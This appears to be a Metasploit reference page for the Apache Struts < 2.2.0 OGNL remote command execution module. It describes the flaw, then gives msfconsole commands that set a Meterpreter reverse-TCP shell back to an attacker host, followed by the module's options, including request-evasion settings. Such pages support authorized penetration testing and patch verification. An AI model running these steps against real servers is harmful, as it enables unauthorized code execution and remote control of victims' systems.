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Apache Struts < 2.2.0 Remote Command Execution

This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.0. This issue is caused by a failure to properly handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. Bypassing this restriction allows for the execution of arbitrary Java code.

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Exploit Rank

  • Excellent

Exploit Authors

  • bannedit < bannedit [at] metasploit.com >
  • Meder Kydyraliev < >

Vulnerability References


Exploit Targets

  • 0 - Windows Universal (default)
  • 1 - Linux Universal

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/multi/http/struts_code_exec
msf exploit(struts_code_exec) > show payloads
msf exploit(struts_code_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(struts_code_exec) > set LHOST [MY IP ADDRESS]
msf exploit(struts_code_exec) > set RHOST [TARGET IP]
msf exploit(struts_code_exec) > set URI [STRING]
msf exploit(struts_code_exec) > exploit


Exploit Module Options

CMD Execute this command instead of using command stager (default: )
Proxies Use a proxy chain
RHOST The target address
RPORT The target port (default: 8080)
URI The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action (default: )
VHOST HTTP server virtual host
BasicAuthPass The HTTP password to specify for basic authentication
BasicAuthUser The HTTP username to specify for basic authentication
ContextInformationFile The information file that contains context information
DOMAIN The domain to use for windows authentification
DigestAuthIIS Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DigestAuthPassword The HTTP password to specify for digest authentication
DigestAuthUser The HTTP username to specify for digest authentication
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
FingerprintCheck Conduct a pre-exploit fingerprint verification
NTLM::SendLM Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
TFTPHOST The address of the machine hosting the file via TFTP.
TFTPRSRC The filename of the TFTP-hosted resource.
UserAgent The User-Agent header to use for all requests
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
HTTP::header_folding Enable folding of HTTP headers
HTTP::method_random_case Use random casing for the HTTP method
HTTP::method_random_invalid Use a random invalid, HTTP method for request
HTTP::method_random_valid Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count How many fake headers to insert into the HTTP request
HTTP::pad_get_params Insert random, fake query string variables into the request
HTTP::pad_get_params_count How many fake query string variables to insert into the request
HTTP::pad_method_uri_count How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type What type of whitespace to use between the method and uri (accepted: space, tab, apache)
HTTP::pad_post_params Insert random, fake post variables into the request
HTTP::pad_post_params_count How many fake post variables to insert into the request
HTTP::pad_uri_version_count How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type What type of whitespace to use between the uri and version (accepted: space, tab, apache)
HTTP::uri_dir_fake_relative Insert fake relative directories into the uri
HTTP::uri_dir_self_reference Insert self-referential directories into the uri
HTTP::uri_encode_mode Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random)
HTTP::uri_fake_end Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url Use the full URL for all HTTP requests
HTTP::uri_use_backslashes Use back slashes instead of forward slashes in the uri